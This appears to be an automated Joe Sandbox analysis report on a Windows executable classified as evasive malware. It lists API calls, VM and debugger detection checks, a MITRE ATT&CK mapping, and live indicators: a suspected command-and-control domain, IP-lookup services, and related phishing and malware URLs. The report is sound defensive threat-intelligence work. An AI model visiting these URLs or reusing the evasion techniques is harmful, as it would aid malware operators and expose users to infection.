Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe	Section loaded: ncryptsslp.dll	Jump to behavior

Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: jhdfer3s_jh3de.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: jhdfer3s_jh3de.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: NTCreateprocess.pdb source: jhdfer3s_jh3de.exe
Source:	Binary string: NTCreateprocess.pdbP$$$ source: jhdfer3s_jh3de.exe

Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Code function: 0_2_001A8D70 WaitForSingleObjectEx,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetCurrentProcess,memset,GetProcAddress,GetCurrentProcess,lstrlenW,memmove,GetCurrentProcessId,CreateMutexA,CloseHandle,ReleaseMutex,GetProcAddress,GetCurrentProcess,GetProcAddress,GetCurrentProcess,

0_2_001A8D70

Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Code function: 0_2_02A72D91 push ecx; ret

0_2_02A72DA4

Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe	System information queried: FirmwareTableInformation	Jump to behavior

Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Code function: GetProcessHeap,RtlAllocateHeap,GetAdaptersInfo,HeapFree,RtlAllocateHeap,GetAdaptersInfo,

0_2_02A52220

Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe TID: 7088	Thread sleep count: 50 > 30			Jump to behavior
Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe TID: 7088	Thread sleep time: -150000s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe	Last function: Thread delayed
Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe	Last function: Thread delayed

Source: jhdfer3s_jh3de.exe, 00000000.00000002.2936607308.000000000102E000.00000004.00000020.00020000.00000000.sdmp, jhdfer3s_jh3de.exe, 00000000.00000002.2936607308.0000000001102000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Code function: 0_2_001B5F26 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_001B5F26

Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe

0_2_001A8D70

Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Code function: 0_2_001B68F0 GetProcessHeap,HeapAlloc,

0_2_001B68F0

Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe	Code function: 0_2_001A2DA0 RtlAddVectoredExceptionHandler,SetThreadStackGuarantee,GetCurrentThread,SetThreadDescription,SetThreadDescription,	0_2_001A2DA0
Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe	Code function: 0_2_001B608B SetUnhandledExceptionFilter,	0_2_001B608B
Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe	Code function: 0_2_001B63C8 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_001B63C8
Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe	Code function: 0_2_001B5F26 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_001B5F26
Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe	Code function: 0_2_02A62AEB IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_02A62AEB
Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe	Code function: 0_2_02A5FA27 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_02A5FA27
Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe	Code function: 0_2_02A6030A IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_02A6030A
Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe	Code function: 0_2_02A60469 SetUnhandledExceptionFilter,	0_2_02A60469

Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Code function: 0_2_00198050 cpuid

0_2_00198050

Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Code function: 0_2_001B5E01 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_001B5E01

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 Process Injection	1 Masquerading	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	11 Virtualization/Sandbox Evasion	LSASS Memory	1 Query Registry	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Disable or Modify Tools	Security Account Manager	121 Security Software Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Process Injection	NTDS	11 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	14 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	2 System Network Configuration Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Obfuscated Files or Information	Cached Domain Credentials	12 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
jhdfer3s_jh3de.exe	11%	Virustotal		Browse
jhdfer3s_jh3de.exe	11%	ReversingLabs	Win32.Trojan.Casdet
jhdfer3s_jh3de.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://hongbaow.info/lofzqFkc7.php	0%	Avira URL Cloud	safe
https://hongbaow.info/9	0%	Avira URL Cloud	safe
https://hongbaow.info/1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php	0%	Avira URL Cloud	safe
https://hongbaow.info/1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.phpI	0%	Avira URL Cloud	safe
https://hongbaow.info/l	0%	Avira URL Cloud	safe
https://hongbaow.info/	0%	Avira URL Cloud	safe
https://hongbaow.info/lofzqFkc7.php_	0%	Avira URL Cloud	safe
https://hongbaow.info/1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php~	0%	Avira URL Cloud	safe
https://hongbaow.info/1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php.com/pki/crl/products/MicCerLisCA2011_201	0%	Avira URL Cloud	safe
https://hongbaow.info/1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.phpN	0%	Avira URL Cloud	safe
https://hongbaow.info/1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.phpon1	0%	Avira URL Cloud	safe
https://hongbaow.info/1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.phpQ	0%	Avira URL Cloud	safe
https://hongbaow.info/lofzqFkc7.phpJ	0%	Avira URL Cloud	safe
https://hongbaow.info/WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.phpNVD	0%	Avira URL Cloud	safe
https://hongbaow.info/baow.info/lofzqFkc7.phpP	0%	Avira URL Cloud	safe
https://hongbaow.info/1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.phpd	0%	Avira URL Cloud	safe
https://hongbaow.info/1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.phpNVD	0%	Avira URL Cloud	safe
https://hongbaow.info/1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.phpdows	0%	Avira URL Cloud	safe
https://hongbaow.info/1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.phpUniv	0%	Avira URL Cloud	safe
https://hongbaow.info/baow.info/lofzqFkc7.php	0%	Avira URL Cloud	safe
https://hongbaow.info/1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php1714	0%	Avira URL Cloud	safe
https://hongbaow.info/WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php	0%	Avira URL Cloud	safe
https://hongbaow.info/1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.phpv	0%	Avira URL Cloud	safe
https://hongbaow.info/1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.phpu	0%	Avira URL Cloud	safe
https://hongbaow.info/NVD	0%	Avira URL Cloud	safe
https://hongbaow.info/1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.phpz	0%	Avira URL Cloud	safe
https://hongbaow.info/a	0%	Avira URL Cloud	safe
https://hongbaow.info/lofzqFkc7.php5	0%	Avira URL Cloud	safe
https://hongbaow.info/1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php.	0%	Avira URL Cloud	safe
https://hongbaow.info/baow.info/w.info	0%	Avira URL Cloud	safe
https://hongbaow.info/1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php/	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
hongbaow.info	104.21.64.1	true	false	unknown
myexternalip.com	34.160.111.145	true	false	high
api.iplocation.net	172.67.68.240	true	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://hongbaow.info/1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php	false	Avira URL Cloud: safe	unknown
https://myexternalip.com/raw	false		high
https://api.iplocation.net/?cmd=ip-country&ip=8.46.123.189	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://hongbaow.info/	jhdfer3s_jh3de.exe, 00000000.00000002.2937168100.00000000036A6000.00000004.00000020.00020000.00000000.sdmp, jhdfer3s_jh3de.exe, 00000000.00000002.2937168100.0000000003670000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://hongbaow.info/l	jhdfer3s_jh3de.exe, 00000000.00000002.2937168100.00000000036A6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://hongbaow.info/1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.phpI	jhdfer3s_jh3de.exe, 00000000.00000002.2937168100.0000000003670000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://hongbaow.info/lofzqFkc7.php	jhdfer3s_jh3de.exe, 00000000.00000002.2937168100.00000000036A6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://hongbaow.info/1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php~	jhdfer3s_jh3de.exe, 00000000.00000002.2937168100.00000000036A6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://hongbaow.info/9	jhdfer3s_jh3de.exe, 00000000.00000002.2937168100.0000000003670000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://hongbaow.info/1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php.com/pki/crl/products/MicCerLisCA2011_201	jhdfer3s_jh3de.exe, 00000000.00000002.2937168100.0000000003670000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.iplocation.net/	jhdfer3s_jh3de.exe, 00000000.00000002.2937168100.0000000003670000.00000004.00000020.00020000.00000000.sdmp	false		high
https://hongbaow.info/lofzqFkc7.php_	jhdfer3s_jh3de.exe, 00000000.00000002.2937168100.00000000036A6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://hongbaow.info/1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.phpN	jhdfer3s_jh3de.exe, 00000000.00000002.2937168100.00000000036A6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://hongbaow.info/1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.phpon1	jhdfer3s_jh3de.exe, 00000000.00000002.2937168100.0000000003670000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://hongbaow.info/1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.phpQ	jhdfer3s_jh3de.exe, 00000000.00000002.2937168100.0000000003670000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://hongbaow.info/WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.phpNVD	jhdfer3s_jh3de.exe, 00000000.00000002.2937168100.00000000036A6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://hongbaow.info/1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.phpd	jhdfer3s_jh3de.exe, 00000000.00000002.2937168100.0000000003670000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://hongbaow.info/lofzqFkc7.phpJ	jhdfer3s_jh3de.exe, 00000000.00000002.2937168100.00000000036A6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://hongbaow.info/baow.info/lofzqFkc7.php	jhdfer3s_jh3de.exe, 00000000.00000002.2937168100.00000000036A6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://hongbaow.info/baow.info/lofzqFkc7.phpP	jhdfer3s_jh3de.exe, 00000000.00000002.2937168100.00000000036A6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://hongbaow.info/1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.phpUniv	jhdfer3s_jh3de.exe, 00000000.00000002.2937168100.0000000003670000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.iplocation.net/K	jhdfer3s_jh3de.exe, 00000000.00000002.2937168100.0000000003670000.00000004.00000020.00020000.00000000.sdmp	false		high
https://hongbaow.info/1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.phpdows	jhdfer3s_jh3de.exe, 00000000.00000002.2937168100.0000000003670000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://hongbaow.info/1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.phpNVD	jhdfer3s_jh3de.exe, 00000000.00000002.2937168100.00000000036A6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://hongbaow.info/WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php	jhdfer3s_jh3de.exe, 00000000.00000002.2937168100.00000000036A6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://myexternalip.com/rawWP	jhdfer3s_jh3de.exe, 00000000.00000002.2936607308.00000000010E5000.00000004.00000020.00020000.00000000.sdmp	false		high
https://hongbaow.info/1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php1714	jhdfer3s_jh3de.exe, 00000000.00000002.2937168100.0000000003670000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://hongbaow.info/1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.phpv	jhdfer3s_jh3de.exe, 00000000.00000002.2937168100.00000000036A6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://hongbaow.info/1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.phpu	jhdfer3s_jh3de.exe, 00000000.00000002.2937168100.0000000003670000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://hongbaow.info/NVD	jhdfer3s_jh3de.exe, 00000000.00000002.2937168100.00000000036A6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://hongbaow.info/lofzqFkc7.php5	jhdfer3s_jh3de.exe, 00000000.00000002.2937168100.00000000036A6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://hongbaow.info/1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.phpz	jhdfer3s_jh3de.exe, 00000000.00000002.2937168100.0000000003670000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://myexternalip.com/	jhdfer3s_jh3de.exe, 00000000.00000002.2936607308.000000000102E000.00000004.00000020.00020000.00000000.sdmp, jhdfer3s_jh3de.exe, 00000000.00000002.2936607308.00000000010E5000.00000004.00000020.00020000.00000000.sdmp	false		high
https://hongbaow.info/a	jhdfer3s_jh3de.exe, 00000000.00000002.2937168100.00000000036A6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://hongbaow.info/1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php.	jhdfer3s_jh3de.exe, 00000000.00000002.2937168100.00000000036A6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://hongbaow.info/1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.phpn	jhdfer3s_jh3de.exe, 00000000.00000002.2937168100.00000000036A6000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://hongbaow.info/baow.info/w.info	jhdfer3s_jh3de.exe, 00000000.00000002.2937168100.00000000036A6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://hongbaow.info/1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php/	jhdfer3s_jh3de.exe, 00000000.00000002.2937168100.00000000036A6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
172.67.68.240	api.iplocation.net	United States	13335	CLOUDFLARENETUS	false
104.21.64.1	hongbaow.info	United States	13335	CLOUDFLARENETUS	false
34.160.111.145	myexternalip.com	United States	2686	ATGS-MMD-ASUS	false

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1596616
Start date and time:	2025-01-22 08:34:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 5s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	jhdfer3s_jh3de.exe
Detection:	MAL
Classification:	mal68.evad.winEXE@2/1@3/3
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 94% Number of executed functions: 25 Number of non-executed functions: 73
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 4.175.87.197, 13.107.253.45
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
02:35:50	API Interceptor	57x Sleep call for process: jhdfer3s_jh3de.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
172.67.68.240	http://ur-notification-priority-fb-mail.netlify.app/	Get hash	malicious	Unknown	Browse
	EXTERNAL Completed Complete with AdobeSign Edward Has Signed Your Document. (1).msg	Get hash	malicious	HTMLPhisher	Browse
	https://www.youtube.com/attribution_link?c=coachblog-ytm-acq-int-blog-txt-coach&u=https://f%E2%93%90urholdtkommu%E2%93%9Dikatio%E2%93%9D-m%E2%93%A8.sh%E2%93%90re%E2%93%9Foint.com/:b:/g/personal/mikkel_faurholdt_com/EWts2f1DTE9GjG5fTcFSE50Bo0SXL2o6ityk-PEdrnkcbQ?e=c8X1Ps%3Fid%3Dcom.google.android.apps.youtube.music	Get hash	malicious	HTMLPhisher	Browse
104.21.64.1	New Invoice.exe	Get hash	malicious	FormBook	Browse	www.sigaque.today/7c9r/
	HAWB 074-02689536.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	www.mzkd6gp5.top/w43d/
	NVIDIAShare.exe.bin.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	bibaprog.ru/ProviderEternallineauthmultiTrackwordpressWpDownloads.php
	gem2.exe	Get hash	malicious	Unknown	Browse	securetextweb.cc/STB/c2VjdXJldGV4dHdlYg==M.txt
	SpCuEoekPa.exe	Get hash	malicious	FormBook	Browse	www.mffnow.info/0pqe/
	4sfN3Gx1vO.exe	Get hash	malicious	FormBook	Browse	www.vilakodsiy.sbs/w7eo/
	1162-201.exe	Get hash	malicious	FormBook	Browse	www.mzkd6gp5.top/utww/
	QUOTATION#050125.exe	Get hash	malicious	FormBook	Browse	www.mzkd6gp5.top/3u0p/
	Sales Acknowledgement - HES #982323.pdf	Get hash	malicious	Unknown	Browse	ordrr.statementquo.com/QCbxA/
	SH8ZyOWNi2.exe	Get hash	malicious	CMSBrute	Browse	adsfirm.com/administrator/index.php
34.160.111.145	SparkWarriors 1.0.0.exe	Get hash	malicious	Unknown	Browse	ifconfig.me/
	W7pJyWRuxS.ps1	Get hash	malicious	Unknown	Browse	ifconfig.me/
	cdwzGB7ix5.ps1	Get hash	malicious	Unknown	Browse	ifconfig.me/
	file.exe	Get hash	malicious	HackBrowser, Xmrig	Browse	ifconfig.me/
	Creal.exe	Get hash	malicious	Creal Stealer	Browse	ifconfig.me/
	#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe	Get hash	malicious	Blank Grabber, Creal Stealer	Browse	ifconfig.me/
	SecuriteInfo.com.Variant.Fragtor.599953.20231.7803.exe	Get hash	malicious	DarkGate, MailPassView	Browse	myexternalip.com/raw
	mek_n_bat.bat	Get hash	malicious	Unknown	Browse	ifconfig.me/ip
	dtyb0ut8vV	Get hash	malicious	Unknown	Browse	ifconfig.me/
	file.exe	Get hash	malicious	Unknown	Browse	/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
myexternalip.com	Software_Tool.exe	Get hash	malicious	Unknown	Browse	34.160.111.145
	Prismifyr-Install.exe	Get hash	malicious	Node Stealer	Browse	34.160.111.145
	KltG8Z7KCn.dll	Get hash	malicious	Unknown	Browse	34.160.111.145
	KltG8Z7KCn.dll	Get hash	malicious	Unknown	Browse	34.160.111.145
	https://www.lusha.com/privacy_topic/control-your-profile/	Get hash	malicious	Unknown	Browse	34.160.111.145
	Facturation.exe	Get hash	malicious	Doenerium	Browse	34.160.111.145
	Facturation.exe	Get hash	malicious	Doenerium	Browse	34.160.111.145
	SecuriteInfo.com.Variant.Fragtor.599953.20231.7803.exe	Get hash	malicious	DarkGate, MailPassView	Browse	34.160.111.145
	fuol91mv.exe	Get hash	malicious	Unknown	Browse	34.160.111.145
	fuol91mv.exe	Get hash	malicious	Unknown	Browse	34.160.111.145
api.iplocation.net	fuol91mv.exe	Get hash	malicious	Unknown	Browse	104.26.6.214
	fuol91mv.exe	Get hash	malicious	Unknown	Browse	104.26.7.214
	http://ys-notification-priority-fb-mail.netlify.app/	Get hash	malicious	Unknown	Browse	104.26.6.214
	https://ey-notification-priority-fb-mail.netlify.app/	Get hash	malicious	Unknown	Browse	104.26.6.214
	http://ur-notification-priority-fb-mail.netlify.app/	Get hash	malicious	Unknown	Browse	104.26.6.214

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ATGS-MMD-ASUS	x86.elf	Get hash	malicious	Mirai, Moobot	Browse	34.151.214.54
	87.121.79.19-mips-2025-01-22T04_20_52.elf	Get hash	malicious	Mirai, Moobot	Browse	32.115.128.83
	using python exe.exe	Get hash	malicious	Unknown	Browse	34.133.74.21
	using python exe.exe	Get hash	malicious	Unknown	Browse	34.133.74.21
	Anal Glory 5 Brazzers 2024 XXX WEBDL 540p SP...msi	Get hash	malicious	Unknown	Browse	34.1.227.231
	using python exe.msi	Get hash	malicious	Unknown	Browse	34.133.74.21
	VIRTUAL X MENU.msi	Get hash	malicious	Unknown	Browse	34.133.74.21
	https://pages.tempisite.com/uk-us-facebook	Get hash	malicious	HTMLPhisher	Browse	34.149.134.77
	https://goo.su/eR7m9Bb	Get hash	malicious	Unknown	Browse	51.250.77.168
	Setup.exe	Get hash	malicious	Unknown	Browse	34.133.74.21
CLOUDFLARENETUS	20252201_pdf.html	Get hash	malicious	Unknown	Browse	104.17.25.14
	http://www.nhtfxq.blogspot.ie/	Get hash	malicious	Phisher	Browse	172.67.222.219
	3y6C4vm3To.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
